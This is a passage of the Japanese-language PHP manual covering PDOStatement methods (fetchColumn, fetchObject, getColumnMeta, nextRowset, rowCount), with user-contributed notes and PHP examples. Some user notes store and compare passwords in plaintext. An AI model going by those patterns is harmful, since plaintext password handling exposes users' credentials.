行から処理したい 0 で始まるカラム番号を指定します。 何も値が与えられない場合、 PDOStatement::fetchColumn() は最初のカラムをフェッチします。

返り値

PDOStatement::fetchColumn() は結果セットの次行から単一カラムを返します。 それ以上行がない場合、false を返します。

警告

PDOStatement::fetchColumn() を使用してデータを処理する場合、同一行から 他のカラムを返す方法はありません。

例

例1 次行の最初のカラムを返す

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

print("Fetch the first column from the first row in the result set:\n");
$result = $sth->fetchColumn();
print("name = $result\n");

print("Fetch the second column from the second row in the result set:\n");
$result = $sth->fetchColumn(1);
print("colour = $result\n");
?>

上の例の出力は以下となります。

Fetch the first column from the first row in the result set:
name = lemon
Fetch the second column from the second row in the result set:
colour = red

参考

  • PDO::query() - SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す
  • PDOStatement::fetch() - 結果セットから次の行を取得する
  • PDOStatement::fetchAll() - 全ての結果行を含む配列を返す
  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDOStatement::setFetchMode() - この文に対するデフォルトのフェッチモードを設定する

User Contributed Notes

PhoneixSegovia at GOOGLE_MAIL_SERVER dot com 21-Oct-2010 02:13
fetchColumn return boolean false when a row not is found or don't had more rows.
seanferd at assmasterdonkeyranch dot com 25-Jan-2007 03:04
This is an excellent method for returning a column count. For example:

<?php
$db = new PDO('mysql:host=localhost;dbname=pictures','user','password');
$pics = $db->query('SELECT COUNT(id) FROM pics');
$this->totalpics = $pics->fetchColumn();
$db = null;
?>
In my case $pics->fetchColumn() returns 641 because that is how many pictures I have in my db.


次の行を取得し、それをオブジェクトとして返す

  • ≪ PDOStatement::fetchColumn
  • PDOStatement::getAttribute ≫
  • PHP Manual
  • PDOStatement
  • 次の行を取得し、それをオブジェクトとして返す

PDOStatement::fetchObject

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.4)

PDOStatement::fetchObject — 次の行を取得し、それをオブジェクトとして返す

説明

public PDOStatement::fetchObject ( string $class_name = "stdClass" , array $ctor_args = ? ) : object|false

次の行を取得し、それをオブジェクトとして返します。この関数は、
PDOStatement::fetch() で
PDO::FETCH_CLASS あるいは
PDO::FETCH_OBJ を指定することの代替関数となります。

オブジェクトを取得する際には、各カラムの値を対応するプロパティに代入してから、 そのコンストラクタを実行します。

パラメータ

class_name

作成されるクラスの名前。

ctor_args

この配列の要素がコンストラクタに渡されます。

返り値

カラム名に対応するプロパティを保持する、要求されたクラスの インスタンスを返します。失敗した場合に false を返します。

参考

  • PDOStatement::fetch() - 結果セットから次の行を取得する

User Contributed Notes

Val Bancer 11-Oct-2020 03:32
If you want the constructor to be invoked before `fetchObject` sets the properties then `PDOStatement::fetch` method with `PDO::FETCH_PROPS_LATE` argument should be used.
sebastian dot rapetti at alice dot it 10-Jan-2017 08:00
PDOStatement::fetchObject() injects values as string, I needed a conversion type.

I did it including settype() function in class constructor

Below method that find an user by id and return user object instance:

<?php
class UserMapper extends MapperAbstract
{
    //other code
    public function findById(int $userId)
    {
        $pdos = $this->dBase->prepare('SELECT user_id AS objectId, name, description, password, active, created,
        last_update AS lastUpdate FROM user WHERE user_id = :id');

        $pdos->bindParam(':id', $userId, \PDO::PARAM_INT);
        $pdos->execute();

        return $pdos->fetchObject('\DomainObjects\User', array($this->password));
    }
    //other code
}
?>

User class with type handling:

<?php
class User extends DomainObjectAbstract
{
   //other code
    public function __construct(Password $password)
    {
        $this->passwordUtility = $password;

        settype($this->objectId, 'integer');
        settype($this->active, 'integer');
    }
    //other code
}
?>

var_dump() of returned User instance:

<?php
object(DomainObjects\User)[18]
  public 'name' => string 'root' (length=4)
  public 'description' => string 'System User' (length=11)
  public 'password' => string '$2y$11$4IAn6SRaB0osPz8afZC5D.CmTrBGxnb5FQEygPjDirK9SWE/u8YuO' (length=60)
  public 'active' => int 1
  public 'created' => string '2015-02-14 10:39:00' (length=19)
  public 'lastUpdate' => string '2016-08-30 18:46:56' (length=19)
  private 'passwordUtility' =>
    object(Auth\Password)[13]
      protected 'options' =>
        array (size=1)
          'cost' => int 11
  protected 'objectId' => int 1
?>

'objectId' and 'active' are now of the type required
zlk1214 at gmail dot com 18-Feb-2016 01:41
You can access MySQL tables in an objective way. Suppose you have a table named Users that has fields: UserID, UserName, UserPassword, UserBirthday, you can create a PHP class extending DataObject that is associated with this table:
<?php
class User extends DataObject {
    // name: Table Name, key: Primary Key (can be an array), auto: AUTO_INCREMENT field
    protected static $_table = array('name' => 'Users', 'key' => 'UserID', 'auto' => 'UserID');
    // relationships between PHP properties and MySQL field names
    protected static $_propertyList = array('id' => 'UserID', 'name' => 'UserName', 'password' => 'UserPassword', 'birthday' => 'UserBirthday');

    // A method that fetches all users as an array
    public static function GetAll() {
        global $dbh;
        $sql = 'SELECT * FROM Users';
        $stmt = $dbh->query($sql);
        $users = array();
        while ($user = $stmt->fetchObject(__CLASS__)) {
            $users[] = $user;
        }
        return $users;
    }
    // Methods that fetch a specific user
    public static function GetUserByName($name) {}
    public static function GetUserByID($name) {}

    // Methods for the current user object
    public function checkPassword($password) {return $this->password == $password;}
    public function showLink() {return "<a href=\"user.php?i={$this->id}\">{$this->name}</a>";}
}

// Then, you can create an instance of this class to insert a row in your table
$user = new User();
$user->name = 'oct1158';
$user->password = '789012';
$user->useFunction('birthday', 'NOW()');
echo 'Field birthday uses MySQL Function: ', $user->birthday, '<br>';
if ($user->insert()) {
    echo 'New User ID: ', $user->id, '<br>';

    // Update the row
    $user->password = '112233';
    $user->update();
} else {
    echo 'INSERT Failed<br>';
}
// Get a specific user by a query
$sql = 'SELECT * FROM Users WHERE UserName = ?';
$stmt = $dbh->prepare($sql);
$stmt->execute(array('admin'));
$admin_user = $stmt->fetchObject('User');
echo 'Admin ID is ', $admin_user->id, '.<br>';
echo 'Admin Birthday is ', $admin_user->birthday, '.<br>';

// Get all users by a static method of that class
$users = User::GetAll();
echo '<br>';
echo $users[0]->name, ', ', $users[0]->birthday, '<br>';
echo $users[1]->name, ', ', $users[1]->birthday, '<br>';
echo $users[2]->name, ', ', $users[2]->birthday, '<br>';
echo '<br>';

// Create an empty user and then delete it immediately
$user = new User();
$user->insert();
$user->delete();
?>
The DataObject class example:
<?php
class DataObject {
    private $changedFields = array(); // list of updated fields
    private $data = array(); // original row from PDOStatement
    private $funcFields = array(); // fields that use MySQL functions
    // The properties above are private in this class, so even if in your subclass you define some properties named the same, or you associate a property of the same name with a field in your table, they will never influence these properties.
    function __get($property) {
        if (isset($this::$_propertyList[$property])) {
            return $this->data[$this::$_propertyList[$property]]; // access fields by PHP properties
        } else {
            return $this->$property; // throw the default PHP error
        }
    }
    function __set($property, $value) {
        if (isset($this::$_propertyList[$property])) {
            $field = $this::$_propertyList[$property];
            $this->data[$field] = $value; // update $data

            // take down changed fields
            if (!in_array($field, $this->changedFields)) {
                array_push($this->changedFields, $field);
            }
            $index = array_search($field, $this->funcFields);
            if ($index !== false) {
                unset($this->funcFields[$index]);
                $this->funcFields = array_values($this->funcFields);
            }
        } else {
            // For fetchObject
            $this->data[$property] = $value; // redirect to Array $data
        }
    }
    private function checkPrimaryKey() {}
    private function clear() {}
    public function delete() {}
    public function insert() {}
    public function update() {}
    public function useFunction($property, $function) {}
}
?>
beinghavingbreackfast at gmail dot com 29-Jul-2015 08:51
It should be mentioned that this method can set even non-public properties. It may sound strange but it can actually be very useful when creating an object based on mysql result.
Consider a User class:

<?php
class User {
   // Private properties
   private $id, $name;

   private function __construct () {}

   public static function load_by_id ($id) {
      $stmt = $pdo->prepare('SELECT id, name FROM users WHERE id=?');
      $stmt->execute([$id]);
      return $stmt->fetchObject(__CLASS__);
   }
   /* same method can be written with the "name" column/property */
}

$user = User::load_by_id(1);
var_dump($user);
?>

fetchObject() doesn't care about properties being public or not. It just passes the result to the object. Output is like:

object(User)#3 (2) {
  ["id":"User":private]=>
  string(1) "1"
  ["name":"User":private]=>
  string(10) "John Smith"
}
dave at davidhbrown dot us 27-Jun-2015 03:03
If using a namespaced class, you must provide the fully qualified class name; fetchObject does not seem to know about any "use" statements.

This results in a PHP Fatal error: Class 'MyClass' not found...:
<?php
use MyNamespace\MyClass;
// ...
$o = $statement->fetchObject('MyClass'));
?>
This works:
<?php
use MyNamespace\MyClass; //still needed for my code
// ...
$o = $statement->fetchObject('MyNamespace\\MyClass'));
?>
Anonymous 15-Mar-2015 11:34
I think so could us use this variant to implement the constructor, this is my example:

<?php
class User{
    public $user;
    public $password;
    public $name;
    public $email;

    public function __construct(){
        $args = func_get_args();
        $nargs = func_num_args();
        $attribs = get_class_vars(get_class($this));
        if(isset($args)){
            foreach($args as $value){
                $attrib = key($attribs);
                $this->$attrib = $value;
                next($attribs);
            }
        }
    }
}
Vegard Lkken 18-Mar-2014 07:19
Because of the injection of object properties before the constructor is executed, I usually build my classes like this to make sure already set properties aren't overwritten:

<?php
class Person {
  public $name;
  public $age;
  public $sex;

  public function __construct($name=NULL, $age=NULL, $sex=NULL) {
    $this->name = $name === NULL ? $this->name : $name;
    $this->age = $age === NULL ? $this->age : $age;
    $this->sex = $sex === NULL ? $this->sex : $sex;
  }
}
?>
rasmus at mindplay dot dk 23-Mar-2013 09:53
Be warned of the rather unorthodox behavior of PDOStatement::fetchObject() which injects property-values BEFORE invoking the constructor - in other words, if your class  initializes property-values to defaults in the constructor, you will be overwriting the values injected by fetchObject() !

A var_dump($this) in your __construct() method will reveal that property-values have been initialized prior to calling your constructor, so be careful.

For this reason, I strongly recommend hydrating your objects manually, after retrieving the data as an array, rather than trying to have PDO apply properties directly to your objects.

Clearly somebody thought they were being clever here - allowing you to access hydrated property-values from the constructor. Unfortunately, this is just not how OOP works - the constructor, by definition, is the first method called upon construction.

If you need to initialize your objects after they have been constructed and hydrated, I suggest your model types implement an interface with an init() method, and you data access layer invoke this method (if implemented) after hydrating.


文の属性を取得する

  • ≪ PDOStatement::fetchObject
  • PDOStatement::getColumnMeta ≫
  • PHP Manual
  • PDOStatement
  • 文の属性を取得する

PDOStatement::getAttribute

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDOStatement::getAttribute — 文の属性を取得する

説明

public PDOStatement::getAttribute ( int $attribute ) : mixed

文の属性を取得します。現時点で共通の属性は存在しませんが、 ドライバ固有の属性のみ存在します。

  • PDO::ATTR_CURSOR_NAME (Firebird と ODBC 固有): UPDATE ... WHERE CURRENT OF に対するカーソル名を取得する

返り値

属性の値を返します。

参考

  • PDO::getAttribute() - データベース接続の属性を取得する
  • PDO::setAttribute() - 属性を設定する
  • PDOStatement::setAttribute() - 文の属性を設定する

User Contributed Notes

machitgarha at outlook dot com 16-Jul-2017 08:52
MySQL driver doesn't support PDOStatement::getAttribute(). If you use it, it produces a warning, even if you set error reporting (PDO::ERRMODE) to PDO::ERRMODE_SILENT; except when you set to PDO::ERRMODE_EXCEPTION. Also, the SQLSTATE error code of the PDO statement (not the PDO object itself, i.e. using PDOStatement::errorCode()) will be 'IM001'.

Hope this helps someone!


結果セットのカラムに対するメタデータを返す

  • ≪ PDOStatement::getAttribute
  • PDOStatement::nextRowset ≫
  • PHP Manual
  • PDOStatement
  • 結果セットのカラムに対するメタデータを返す

PDOStatement::getColumnMeta

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDOStatement::getColumnMeta — 結果セットのカラムに対するメタデータを返す

説明

public PDOStatement::getColumnMeta ( int $column ) : array

結果セットの 0 から始まるカラムに対するメタデータを連想配列で取得します。

警告

PDO ドライバの全てが PDOStatement::getColumnMeta(). をサポートしているわけではありません。

以下のドライバがこのメソッドをサポートします。

  • PDO_DBLIB
  • PDO_MYSQL
  • PDO_PGSQL
  • PDO_SQLITE

パラメータ

column

結果セットの 0 から始まるカラムを指定します。

返り値

1つのカラムについてのメタデータに相当する次の値を含んだ連想配列を返します。

カラムのメタデータ
名前 | 値
native_type | カラム値を表現するために使用される PHP のネイティブ型
driver:decl_type | データベースにおけるカラム値を表現するために使用される SQL 型。 もし、結果セットのカラムが関数から返される場合、 この値は PDOStatement::getColumnMeta(). よって返されません。
flags | このカラムにセットされているあらゆるフラグ
name | データベースによって返されるこのカラムの名前
table | データベースによって返されるこのカラムのテーブル名
len | カラム長。浮動小数点数以外の型については通常 -1 となる。
precision | カラムの数値精度。浮動小数点数以外の型については通常 0 となる。
pdo_type | PDO::PARAM_* 定数 によって表現されるカラムの型

要求されたカラムが結果セットに存在しない、 もしくは結果セットが存在しない場合、false を返します。

例

例1 カラムのメタデータを取得する

以下の例は、PDO_SQLITE ドライバでの関数 (COUNT) によって生成された単一のカラムに対するメタデータの 取得結果を表示します。

<?php
$select = $DB->query('SELECT COUNT(*) FROM fruit');
$meta = $select->getColumnMeta(0);
var_dump($meta);
?>

上の例の出力は以下となります。

array(6) {
  ["native_type"]=>
  string(7) "integer"
  ["flags"]=>
  array(0) {
  }
  ["name"]=>
  string(8) "COUNT(*)"
  ["len"]=>
  int(-1)
  ["precision"]=>
  int(0)
  ["pdo_type"]=>
  int(2)
}

参考

  • PDOStatement::columnCount() - 結果セット中のカラム数を返す
  • PDOStatement::rowCount() - 直近の SQL ステートメントによって作用した行数を返す

User Contributed Notes

jcastromail at yahoo dot es 10-Mar-2020 08:49
This method is supported by sql server too (at least the version of the PDO driver 5.7.1)

Example:

array(8) {
  ["flags"]=>
  int(0)
  ["sqlsrv:decl_type"]=>
  string(12) "int identity"
  ["native_type"]=>
  string(6) "string"
  ["table"]=>
  string(0) ""
  ["pdo_type"]=>
  int(2)
  ["name"]=>
  string(8) "IdCompra"
  ["len"]=>
  int(10)
  ["precision"]=>
  int(0)
}
frankno dot 94 at gmail dot com 16-Aug-2019 09:32
I recently added a note to a small function that went through the results of PDOStatement::fetch and mapped columns to integer or float types.

I forgot to test for columns that can have a null value!

I'm updating the code here, sorry.

This website doesn't let me edit the original comment, so I'm just gonna link to a gist in case it needs even further fixes.

https://gist.github.com/AeonFr/db3b2a8a95753076d9e4da42d29365d2

I basically added this code:

<?php
if ($value === null) {
   continue;
}
?>
frankno dot 94 at gmail dot com 13-Aug-2019 10:05
I was able to successfully pull off basic type conversion for integer and float values in PDO.

NULL values were returning as null, but integers and floats weren't, so I decided to go with a simple solution.

It's not tested on all database types, so if you think it needs improvement, let me know (my twitter is "francanobr")

<?php

// Returns the contents of $stm (PDO Statement)
// as an associative array, with correct native types
// for integers, nulls, and floats

$array = [];

while ($fila = $stm->fetch(\PDO::FETCH_ASSOC)) {

    $i = 0;
    foreach ($fila as $key => $value) {
        $columnMeta = $stm->getColumnMeta($i);

        switch ($columnMeta['native_type']) {
            case 'LONG':
            case 'TINY':
                $fila[$key] = intval($value);
                break;
            case 'DOUBLE':
                $fila[$key] = floatval($value);
                break;
        }

        $i++;
    }

    $array[] = $fila;
}

return $array;
?>

The code sample is part of a function, the function declaration is not included, evaluate how to integrate it with your app.
Rodrigo Silva 03-Aug-2019 11:57
native_type has the following mapping for MySQL:
(tested in PHP 5.4, MySQL 5.7)

INT(11) (PKs) => LONG
TINYINT(4)    => TINY
DOUBLE        => DOUBLE
VARCHAR       => VAR_STRING
CHAR          => STRING
DATE          => DATE
Functions     => VAR_STRING
- DATEFORMAT()
- CONCAT()
colin at fusionbox dot com 23-Jan-2009 10:38
This method is supported in the MySQL 5.0+ driver.  It can be used for object hydration:

<?php

$pdo_stmt = $dbh->execute('SELECT discussion.id, discussion.text, comment.id, comment.text FROM discussions LEFT JOIN comments ON comment.discussion_id = discussion.id');

foreach(range(0, $pdo_stmt->columnCount() - 1) as $column_index)
{
  $meta[] = $pdo_stmt->getColumnMeta($column_index);
}

while($row = $pdo_stmt->fetch(PDO::FETCH_NUM))
{
  foreach($row as $column_index => $column_value)
  {
    //do something with the data, using the ids to establish the discussion.has_many(comments) relationship.
  }
}

?>

If you are building an ORM, this method is very useful to support more natural SQL syntax.  Most ORMs require the column names to be aliases so that they can be parsed and turned into objects that properly represent has_one, has_many, many_to_many relationships.
asohn aircanopy net 29-Feb-2008 09:21
I found a short discussion related to this function at
http://www.sitepoint.com/forums/showthread.php?t=497257

I haven't tried it (yet?) but hopefully someone can find it useful.


複数の行セットを返す文ハンドラで次の行セットに移動する

  • ≪ PDOStatement::getColumnMeta
  • PDOStatement::rowCount ≫
  • PHP Manual
  • PDOStatement
  • 複数の行セットを返す文ハンドラで次の行セットに移動する

PDOStatement::nextRowset

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDOStatement::nextRowset — 複数の行セットを返す文ハンドラで次の行セットに移動する

説明

public PDOStatement::nextRowset ( ) : bool

いくつかのデータベースサーバーは、1つ以上の行セット (結果セットとしても知られる) を返すストアドプロシージャをサポートしています。 PDOStatement::nextRowSet() により、2 番目以降の PDOStatement オブジェクトに関連する行セットにアクセスすることができます。 それぞれの行セットは、 前の行セットと異なるカラムセットを含むことができます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ストアドプロシージャから複数の行セットをフェッチする

以下のサンプルは、3つの行セットを返すストアドプロシージャの コールの仕方を示しています。 PDOStatement::nextRowset() を併用した do / while ループを使用しており、行セットが返されなくなったとき false を返しループを終了します。

<?php
$sql = 'CALL multiple_rowsets()';
$stmt = $conn->query($sql);
$i = 1;
do {
    $rowset = $stmt->fetchAll(PDO::FETCH_NUM);
    if ($rowset) {
        printResultSet($rowset, $i);
    }
    $i++;
} while ($stmt->nextRowset());

function printResultSet(&$rowset, $i) {
    print "Result set $i:\n";
    foreach ($rowset as $row) {
        foreach ($row as $col) {
            print $col . "\t";
        }
        print "\n";
    }
    print "\n";
}
?>

上の例の出力は以下となります。

Result set 1:
apple    red
banana   yellow

Result set 2:
orange   orange    150
banana   yellow    175

Result set 3:
lime     green
apple    red
banana   yellow

参考

  • PDOStatement::columnCount() - 結果セット中のカラム数を返す
  • PDOStatement::execute() - プリペアドステートメントを実行する
  • PDOStatement::getColumnMeta() - 結果セットのカラムに対するメタデータを返す
  • PDO::query() - SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す

User Contributed Notes

alex at 1stleg dot com 28-Jul-2016 06:29
If you use PDO::fetch instead of PDO::fetchAll and do not reach the end the result set, PDO::nextRowset() will fail with "SQLSTATE[HY000]: General error: PDO_DBLIB: dbresults() returned FAIL."
et dot coder at gmail dot com 14-Oct-2014 01:37
on MSSQL and 'dsn' => 'dblib:...',:
If you know how many count rowset then don't use contruction of do..while.

<?php
do {
    $pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
} while (
    $pdoStatement->nextRowset()
);
?>
When I get large fetchAll(over 30) for second nextRowset. I get error - Segmentation fault.

Uses step-by-step insted do..while is fix for this bug:
<?php
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
$pdoStatement->nextRowset();
$pdoStatement->fetchAll(\PDO::FETCH_ASSOC);
?>
guilleamathews at gmail dot com 19-Aug-2011 05:41
PDO::nextRowset() does not appear to be currently supported by the Firebird PDO driver. Unfortunate.


直近の SQL ステートメントによって作用した行数を返す

  • ≪ PDOStatement::nextRowset
  • PDOStatement::setAttribute ≫
  • PHP Manual
  • PDOStatement
  • 直近の SQL ステートメントによって作用した行数を返す

PDOStatement::rowCount

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDOStatement::rowCount — 直近の SQL ステートメントによって作用した行数を返す

説明

public PDOStatement::rowCount ( ) : int

PDOStatement::rowCount() は 相当する PDOStatement オブジェクトによって実行された 直近の DELETE, INSERT, UPDATE 文によって作用した行数を返します。

関連する PDOStatement によって実行された直近の SQL ステートメントが SELECT 文の場合、いくつかのデータベースは文によって返された 行数を返すかも知れません。しかしながら、 この振る舞いは全てのデータベースで保証されていません。 さまざまな場所で使用するアプリケーションでは、 これに頼ってはいけません。

注意:

このメソッドは SQLite ドライバの場合はあらゆる場合に "0" (ゼロ) を返します。 PostgreSQL ドライバの場合は ステートメント属性 PDO::ATTR_CURSOR の設定が PDO::CURSOR_SCROLL の場合にだけ "0" (ゼロ) を返します。

返り値

行の数を返します。

例

例1 削除された行数を返す

PDOStatement::rowCount() は DELETE, INSERT, UPDATE 文によって作用した行数を返します。

<?php
/* FRUIT テーブルから全ての行を削除する */
$del = $dbh->prepare('DELETE FROM fruit');
$del->execute();

/* 削除された行数を返す */
print("Return number of rows that were deleted:\n");
$count = $del->rowCount();
print("Deleted $count rows.\n");
?>

上の例の出力は、 たとえば以下のようになります。

Return number of rows that were deleted:
Deleted 9 rows.

例2 SELECT 文によって返された行をカウントする

ほとんどのデータベースでは、PDOStatement::rowCount() は SELECT 文によって作用した行数を返しません。代わりに、 PDO::query() を使って 意図する SELECT 文として同様の述部を持つ SELECT COUNT(*) 文を発行し、PDOStatement::fetchColumn() を使って返される行数を取得することができます。

<?php
$sql = "SELECT COUNT(*) FROM fruit WHERE calories > 100";
$res = $conn->query($sql);
$count = $res->fetchColumn();
print "There are " .  $count . " matching records.";

上の例の出力は、 たとえば以下のようになります。

There are 2 matching records.

参考

  • PDOStatement::columnCount() - 結果セット中のカラム数を返す
  • PDOStatement::fetchColumn() - 結果セットの次行から単一カラムを返す
  • PDO::query() - SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す

User Contributed Notes

bohwaz 05-Apr-2019 12:42
Please note another interesting behavior with PostgreSQL.

If you try to use rowCount() after a statement has been prepared using the PDO::ATTR_CURSOR set to PDO::CURSOR_SCROLL you will always get zero (0).

That's because PG doesn't have any way to tell how many rows are in the cursor until it did iterate through all rows.

<?php
$st = $pdo->prepare('SELECT NOW();', [PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL]);
$st->execute();
var_dump($st->rowCount());
?>

Will return "0", whereas the same statement without the CURSOR_SCROLL attribute, will correctly return 1.

Please see this bug report https://bugs.php.net/bug.php?id=77855 for details.

This documentation should be updated shortly to reflect that issue.
xmt at abv dot bg 19-Jun-2018 10:30
Note:
=====
On Mysql SELECT statement with Buffered queries, rowCount will return the correct count of the items in the result set.
BUT if your query is unbuffered, than it will return 0. No matter if all the rows are retrieved from the result set or not (while in mysqli this behaviour is different - you will still get the number of items in the result set with unbuffered queries, but only when you retrieve all the rows from the set).

Example:
========
$conn = new PDO("mysql:host=127.0.0.1;dbname=db", 'root', 'root');

// use unbuffered query
$conn->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$stmt = $conn->query("select * from towns");

echo $stmt->rowCount(); // will always return 0
lsrzj at facebook 09-Dec-2015 02:03
Well, I woundn't do as suggested querying twice the database to get the count and then get the data I want. It would be simpler and would give better performance to query once and retrieve both, record count and the data itself

<?php
$sql = "SELECT * FROM fruit WHERE calories > :calories";
$sth = $conn->prepare($sql);
$sth->bindParam(':calories', 100, PDO::PARAM_INT);
$res = $sth->execute();
if ($res) {
    $record = $sth->fetchAll();
    /* Check the number of rows that match the SELECT statement */
    if (count($record) > 0) {
        foreach ($record as $row) {
            print "Name: " .  $row['NAME'] . "\n";
         }
    }
    /* No rows matched -- do something else */
  else {
      print "No rows matched the query.";
    }
}
$conn = null;
?>
@rhavendc (twitter) 23-Nov-2015 08:10
We're having problem with these PDOStatement::fetchColumn() and PDOStatement::rowCount(). I don't know if we have alike case to others or this is just a problem in our coding. In local, the rowCount() is not giving the correct number of rows but it is working fine when uploaded to our hosting site.. while the fetchColumn() is the reverse. The fetchColumn() is working fine in local but not anymore when uploaded. I don't know what is really going on with that but I think rowCount() is the best and the others are optional to use.
info at buylikesandviews dot com 21-Mar-2015 09:04
every good work
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count..
phpnet at maya-control dot ro 10-Apr-2014 11:09
Yet another workaround to return the row count inside only ONE select (see limitations below!):

$sth = $dbh->prepare("SELECT *,count(*) AS howmany FROM users WHERE email=:email and password=:pass"); #var placeholders
$sth->execute(array(':email'=>$email, ':pass'=>$pass)); #var binding
$row = $sth->fetch(); #get one row (it'll always be one and only one!!!)

if ($row['howmany'] == 1){ #we have a match and only one! cool!
    echo $row['email'], $row['name'], $row['phone'], ... ;
} elseif ($row['howmany']>1) { #more than one row returned
    #one programmer should be fired 'cause he's not checking for
    #for existing emails, before creating a new user
    ...
    # treat this exception somehow or simply skip this branch,
    # if you're sure it won't happen in your table
} else { #no match in the table ($row['howmany'] == 0)
    echo "Email/pass didn't match the ones in the database!";
}

Advantages:
- only one select statement is executed, no two steps needed!
- it checks if one row exists in the table or not, according to the WHERE clause.
- it returns all (or only a selection of) fields for that one row, if exists.

Disadvantages:
- it doesn't return row fields reliable if more than one row found. If more than one row responds to the SELECT query, the query returns still only one row and you don't know which one exactly .
Maybe using a SORT BY, would make it a bit more predictible (as in: "if more than one users found, return the last user added in the table") but it's more a matter of good design of the program that fills in the table initially.

Uses:
- It is perfect for checking if a user/pass pair is present in a users table and to return the other fields of the user (like name, phone, whatever) if user was found.
sERGE-01 04-Nov-2013 12:15
In some drivers rowCount() only works when using the prepare() with PDO::CURSOR_SCROLL
So, you can modify PDO class:

<?php
class myPDO extends PDO
{
    function query($query, $values=null)
    {
        if($query == "")
            return false;

        if($sth = $this->prepare($query, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL)))
        {
            $res = ($values) ? $sth->execute($values) : $sth->execute();
            if(!$res)
                return false;
        }
        return $sth;
    }
}
?>

Now let's test (i using php 5.2.9-2):

<?php
function TestRowCount($dsn, $db_user, $db_pass)
{
    $pdh = new PDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() Standart: ".$sth->rowCount()."<br>";

    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("SELECT * FROM sys.tables");
    print "rowCount() New: ".$sth->rowCount()."<br><br>";

    $pdh=null;
}

$db_server = "xxx";
$db_name = "xxx";
$db_user = "xxx";
$db_pass = "xxx";

print "PDO_MSSQL"."<br>";
TestRowCount("mssql:host=$db_server;dbname=$db_name", $db_user, $db_pass);

print "MSSQL throw PDO_ODBC"."<br>";
TestRowCount("odbc:DRIVER={SQL Server};SERVER=$db_server;DATABASE=$db_name;", $db_user, $db_pass);

print "MS SQL driver 2.0"."<br>";
TestRowCount("sqlsrv:server=$db_server;Database=$db_name", $db_user, $db_pass);
?>

My results:
-------------------
PDO_MSSQL
rowCount() Standart: 0
rowCount() New: 0

MSSQL throw PDO_ODBC
rowCount() Standart: -1
rowCount() New: 53

MS SQL driver 2.0
rowCount() Standart: -1
rowCount() New: 53
-------------------

With myPDO class you can use prepared queries like:
<?php
    $pdh = new myPDO($dsn, $db_user, $db_pass);
    $sth = $pdh->query("select * from data where id>? or name like ?", array(100, "A%"));
?>
user at nospam dot example dot com 03-Sep-2013 06:49
MySQL does not seem to return anything in rowCount for a select statement, but you can easily and efficiently get the row count as follows:

class db extends PDO {
  public function last_row_count() {
    return $this->query("SELECT FOUND_ROWS()")->fetchColumn();
  }
}

$myDb = new db('mysql:host=myhost;dbname=mydb', 'login', 'password' );

Then, after running your query:

if ( $myDb->last_row_count() == 0 ) {
  echo "Do something!";
  }
Daniel Karp 31-Aug-2012 12:09
Note that an INSERT ... ON DUPLICATE KEY UPDATE statement is not an INSERT statement, rowCount won't return the number or rows inserted or updated for such a statement.  For MySQL, it will return 1 if the row is inserted, and 2 if it is updated, but that may not apply to other databases.
leandro at marquesini dot com 03-Jan-2012 10:04
To display information only when the query is not empty, I do something like this:

<?php
    $sql = 'SELECT model FROM cars';
    $stmt = $db->prepare($sql);
    $stmt->execute();

    if ($data = $stmt->fetch()) {
        do {
            echo $data['model'] . '<br>';
        } while ($data = $stmt->fetch());
    } else {
        echo 'Empty Query';
    }
?>
Ome Ko 16-Jul-2011 12:08
When updating a Mysql table with identical values nothing's really affected so rowCount will return 0. As Mr. Perl below noted this is not always preferred behaviour and you can change it yourself since PHP 5.3.

Just create your PDO object with
<? php
$p = new PDO($dsn, $u, $p, array(PDO::MYSQL_ATTR_FOUND_ROWS => true));
?>
and rowCount() will tell you how many rows your update-query actually found/matched.
e dot sand at elisand dot com 19-Nov-2008 11:32
My rowCount() workaround & how it's used:

<?php
class MyPDO extends PDO {
    private $queryString;

    public function query(/* ... */) {
        $args = func_get_args();
        $this->queryString = func_get_arg(0);

        return call_user_func_array(array(&$this, 'parent::query'), $args);
    }

    public function rowCount() {
        $regex = '/^SELECT\s+(?:ALL\s+|DISTINCT\s+)?(?:.*?)\s+FROM\s+(.*)$/i';
        if (preg_match($regex, $this->queryString, $output) > 0) {
            $stmt = parent::query("SELECT COUNT(*) FROM {$output[1]}", PDO::FETCH_NUM);

            return $stmt->fetchColumn();
        }

        return false;
    }
}

$pdo = new MyPDO("sqlite::memory:");
$result = $pdo->query("SELECT row1, row2 FROM table WHERE something = 5");

if ($pdo->rowCount() > 0) {
    echo "{$result['row1']}, {$result['row2']}";
}
?>
e dot sand at elisand dot com 19-Nov-2008 11:30
As of SQLite 3.x, the SQLite API itself changed and now all queries are implemented using "statements".  Because of this, there is no way for PDO to know the rowCount of a SELECT result because the SQLite API itself doesn't offer this ability.

As a workaround, I created my own rowCount() function - it's a bit of a hack and hasn't been fully tested yet (I don't know how it will work when using JOINs in SELECTs, etc...), but at least alleviates the necessity for SELECT COUNT(*)'s everywhere in your code.

I would have preferred if it were possible to overload the rowCount() function from PDOStatement, but I don't think it's possible (or I don't know how to do it).  There's also potential room for a bit more security ensuring that $queryString is wiped clean after other query()s so that you don't get a bad result, etc...

The actual code should be posted in the above/below post (max post limits, argh!).  If others wish to extend/perfect this method, please keep me posted with an email as to what you've done.
